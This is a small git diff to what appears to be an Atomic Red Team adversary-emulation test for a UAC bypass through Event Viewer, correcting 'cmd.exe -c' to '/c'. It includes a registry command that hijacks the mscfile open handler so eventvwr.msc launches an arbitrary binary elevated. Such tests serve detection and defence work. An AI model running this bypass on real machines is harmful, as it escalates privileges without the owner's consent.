diff --git a/atomics/T1088/T1088.yaml b/atomics/T1088/T1088.yaml index bbfd9f3d..96f30d8c 100644 --- a/atomics/T1088/T1088.yaml +++ b/atomics/T1088/T1088.yaml @@ -20,7 +20,7 @@ atomic_tests: name: command_prompt command: | reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f - cmd.exe -c eventvwr.msc + cmd.exe /c eventvwr.msc - name: Bypass UAC using Event Viewer - PowerShell description: |